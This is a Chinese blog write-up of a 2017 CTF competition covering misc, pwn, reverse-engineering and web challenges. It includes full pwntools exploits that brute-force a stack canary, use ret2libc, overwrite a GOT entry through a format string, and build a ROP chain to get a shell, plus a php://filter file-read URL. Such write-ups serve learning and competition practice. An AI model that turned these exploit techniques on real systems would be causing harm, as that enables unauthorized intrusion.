BetaMao

湖湘杯线上-writeup

字数统计: 1.7k阅读时长: 9 min
2017/11/28 Share

这次比赛只做了下pwn,全都是最基础的利用技巧,听说web是找原题大赛,无语凝噎~

MISC-150

下载文件,发现flag.zip,导出来得到ce.txt

提取出ce.txt文件,直接使用脚本绘出图片:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# -*- coding:utf-8 -*-
from PIL import Image
y = 3*37#280 # x坐标 通过对txt里的行数进行整数分解
x = 887#280 # y坐标 x*y = 行数

im = Image.new("RGB", (x, y)) # 创建图片
file = open('C:\\Users\\Beta\\Documents\\Tencent Files\\1217081982\\FileRecv\\ce.txt') # 打开rbg值文件

# 通过一个个rgb点生成图片
for i in range(0, x):
for j in range(0, y):
line = file.readline() # 获取一行
rgb = line.split(",") # 分离rgb
im.putpixel((i, j), (int(rgb[0]), int(rgb[1]), int(rgb[2]))) # rgb转化为像素
im.show()
im.save('1.jpg')

MISC-200

发现加密函数

发现,我们需要password

找到password

写出java解密代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
package apk;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Random;

public class apk {


private static byte[] md5(String data) {
try {
MessageDigest messageDigest = MessageDigest.getInstance("md5");
messageDigest.update(data.getBytes());
return messageDigest.digest();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
return new byte[0];
}
}

private static byte[] encryptData(byte[] data, byte[] key) {
byte keyLength = (byte) key.length;
byte[] cipherText = new byte[data.length];
for (int i = 0; i < data.length; i++) {
cipherText[i] = (byte) (data[i] ^ key[i % keyLength]);
}
return cipherText;
}

private static String generateRandomFilename(int length) {
Random random = new Random();
StringBuilder stringBuilder = new StringBuilder(length);
for (int i = 0; i < length; i++) {
char temp = (char) random.nextInt(62);
if (temp < '\u001a') {
temp = (char) (temp + 97);
} else if (temp < '4') {
temp = (char) (temp + 65);
} else {
temp = (char) (temp + 48);
}
stringBuilder.append(temp);
}
System.out.println(stringBuilder.toString());
return stringBuilder.toString();

}
private static byte[] readUri(String uri) throws IOException {
File file = new File(uri);
@SuppressWarnings("resource")
InputStream inputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] buffer = new byte[1024];
while (true) {
int read = inputStream.read(buffer);
if (read == -1) {
return byteArrayOutputStream.toByteArray();
}
byteArrayOutputStream.write(buffer, 0, read);
}
}

private static void xie(byte[] cipherText) throws IOException {


File outputFile = new File("C:/Users/ESE/Desktop/湖湘杯2017-11-25/misc2/flag1");
try {
FileOutputStream fileOutputStream = new FileOutputStream(outputFile);
fileOutputStream.write(cipherText);
fileOutputStream.close();
}catch (Exception e) {
// TODO: handle exception
}
System.out.println("done");


}


public static void main(String[] args) throws IOException {
String password = "Password";
byte[] key = md5(password);
String path="C:/Users/ESE/Desktop/湖湘杯2017-11-25/misc2/flag.encrypted";
byte[] data=readUri(path);
byte[] data1=encryptData(data,key);
System.out.println(data1[0]+" "+data1[1]+" "+data1[2]+" "+data1[3]);
xie(data1);


}
}

得到flag图片,可是

在怀疑出题人不会写字,各种脑补得到flag
flag{all_encryption_is_equal_but_some_are_More_equal_than_others}

PWN-100

发现有canary,但是漏洞函数在fork出的子进程里,可以暴力跑,而那个函数的作用是将输入数据base64decode,于是写出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from base64 import *
elf = ELF('pwns')
libc = ELF('libc.so.6')

putsPlt = elf.plt['puts']
putsGot = elf.got['puts']
vulFunc = 0x080487E6

#p = process('./pwns')
p=remote('118.190.113.9',10080)

def brute():
canary = '\x00'
recv = p.recvuntil('May be I can know if you give me some data[Y/N]\n')
for count in range(0,3):
for i in xrange(1,0xff):
p.send('Y\n')
payload = b64encode('a'*257+canary+chr(i))
p.send(payload)
recv = p.recvuntil('May be I can know if you give me some data[Y/N]\n')
if 'Finish' in recv:
canary +=chr(i)
break
print 'index',str(count)
print 'find canary:'+canary
return u32(canary)


canary = brute()
payload1 = 'a'*257+p32(canary)+'a'*12+flat(putsPlt,vulFunc,putsGot)
p.send('Y\n')
p.recvuntil('Give me some datas:\n\n')
p.send(b64encode(payload1))
rsp = p.recv()
putsAddr = u32(rsp[268:268+4])

systemAddr = putsAddr - (libc.symbols['puts']-libc.symbols['system'])
shAddr = putsAddr - (libc.symbols['puts'] - next(libc.search('/bin/sh')))

p.send('Y\n')
p.send('Y\n')

payload2 = 'a'*257+p32(canary)+'a'*12+flat(systemAddr,0xdeadbeef,shAddr)
p.send(b64encode(payload2))

p.interactive()

PWN-200

一个明显的格式化串,先泄露出一个库函数的地址然后将计算出的system地址写入atoi的got:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding=utf-8
from pwn import *
#context.arch = 'amd64'
context.binary = './pwne'
def exec_fmt(payload):
p = process('./pwne')
p.send('Y\n')
log.info("payload = %s"%repr(payload))
p.sendline(payload)
p.recvuntil('WELCOME \n')
return p.recv()

autofmt = FmtStr(exec_fmt)
offset = autofmt.offset

elf = ELF('pwne')
libc = ELF('libc.so.6')
#libc = ELF('/lib/i386-linux-gnu/libc.so.6')

getcharGot = elf.got['getchar']
atoiGot = elf.got['atoi']


#p = process('./pwne')
p = remote('118.190.113.148',10080)
p.recv()
payload1 = p32(getcharGot)+'%08x%08x%08x%08x%08x%08x%s'
p.send('Y\n')
p.recv()
p.send(payload1)
p.recvuntil('WELCOME \n')
tmp = p.recv()
getcharAddr = u32(tmp[52:52+4])
systemAddr = getcharAddr - (libc.symbols['getchar'] - libc.symbols['system'])
#gdb.attach(p)
p.send('dsadsadsadas')
p.recv()
p.send('Y\n')
writes = {atoiGot:systemAddr}
payload2 = fmtstr_payload(offset = offset,writes = writes,write_size='byte')
p.send(payload2)
p.sendline('/bin/sh\0')
p.interactive()

PWN-300

发现里面存在很多东东,可以直接构造ROP链的系统调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

shellcode = (134671626, 135176288, 134984710, 1852400175, 134880685, 134671626, 135176292, 134984710, 1752379183, 134880685, 134671626, 135176296, 134563632, 134880685, 134513097, 135176288, 134671665, 135176296, 135176288, 134671626, 135176296, 134563632, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134723423, 134518657)

payload = []
QJ = 16
for i in range(QJ):
payload.append(i)

for i in shellcode:
payload.append(i)

#p = process('pwn300')
p = remote('118.190.85.135',10080)
tot = QJ+len(shellcode)
p.recvuntil('calculate:')
p.sendline(str(tot+1))

for i in range(QJ):
p.recvuntil('5 Save the result\n')
p.sendline('2')
p.recvuntil('input the integer x:')
p.sendline('0')
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')


for i in range(QJ,tot):
p.recvuntil('5 Save the result\n')
p.sendline('1')
p.recvuntil('input the integer x:')
p.sendline(str(payload[i]))
p.recvuntil('input the integer y:')
p.sendline('0')
p.recvuntil('\n')

#gdb.attach(p)
p.sendline('5')
p.interactive()
```
![](/images/2017-11-28-08-20-39.png)

RE1

Peid查壳,发现upx壳,脱壳后发现简单加密函数,写出解密脚本

1
2
3
4
5
6
7
8
9
def re1():
a = [0x44, 0x4e, 0x43, 0x45, 0x59, 0x76, 0x4a, 0x13, 0x51, 0x7d, 0x4b, 0x71, 0x7d, 0x63, 0x7d, 0x54, 0x11, 0x50,
0x5b, 0x7d, 0x51, 0x4b, 0x4f, 0x52, 0x4e, 0x47, 0x7d, 0x70, 0x70, 0x70, 0x67, 0x67, 0x67, 0x7d, 0x57, 0x7d,
0x52, 0x63, 0x51, 0x71, 0x7d, 0x13, 0x56, 0x5f]
c = []
for i in a:
k = i ^ 0x22
c.append(chr(k))
print "".join(c)

RE2 android

直接打开apk,得到flag

flag{Start_4ndr0id_Crack1ng_w1th_m3}

RE3

这道题目是一个pyc,然后,反编译回来是这样的

很混乱的代码,然后复制一行,其百度一下,居然找到原题(xdctf-2015年的),直接搜索wp,找到解密代码如下:,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import string

table = string.printable.strip()


def setbit(p, pos, value):
cpos = pos / 8
bpos = pos % 8
p[cpos] &= ~(1 << bpos)
p[cpos] |= value << bpos
return


def getbit(p, pos):
cpos = pos / 8
bpos = pos % 8
return (p[cpos] >> bpos) & 1


def encode(data, buf):
table = string.printable.strip()
m_len = len(data)
for i in range(m_len):
data[i] = table.index(chr(data[i])) + 1
for i in range(m_len * 6):
j = i / 6 * 8 + i % 6
setbit(buf, i, getbit(data, j))
return buf


def decode(data, buf1, buf2):
m_len = len(data)
m_list = range(0, m_len * 8)
for i in range(m_len * 6):
j = i / 6 * 8 + i % 6
setbit(buf1, j, getbit(data, i))
m_list[j] = 1
for i in range(m_len):
if (buf1[i] > 0 and buf1[i] <= len(table)):
buf2[i] = buf1[i]
buf2[i] |= 0x40
if (buf2[i] > 0 and buf2[i] <= len(table)):
buf2[i] = table[buf2[i] - 1]
else:
buf2[i] = ord(' ')
buf1[i] = table[buf1[i] - 1]
return buf1


def prc400():
# encode
fin = open('flag.txt', 'r')
s = fin.read().strip()
ss = []
sss = []
for c in s:
ss.append(ord(c))
sss.append(0)
ssss = encode(ss, sss)
print ssss

# decode
fin = open('key.enc', 'rb')
s = fin.read()
ss = []
sss1 = []
sss2 = []
for c in s:
ss.append(ord(c))
sss1.append(0)
sss2.append(0)
ssss = decode(ss, sss1, sss2)
print "".join(ssss)


if __name__ == '__main__':
prc400()

解出flag:

提交不对,打电话给客服,说是
9733c070b2138e5f
这里我是想***

WEB-200

发现可以用php:filter伪协议来读取文件源码,先读了index.php和uploads.php,然后…试了试flag.php,恩,如下:
http://118.190.87.135:10080/?op=php://filter/read=convert.base64-encode/resource=flag

Base64解码得flag

CATALOG
  1. 1. MISC-150
  2. 2. MISC-200
  3. 3. PWN-100
  4. 4. PWN-200
  5. 5. PWN-300
  6. 6. RE1
  7. 7. RE2 android
  8. 8. RE3
  9. 9. WEB-200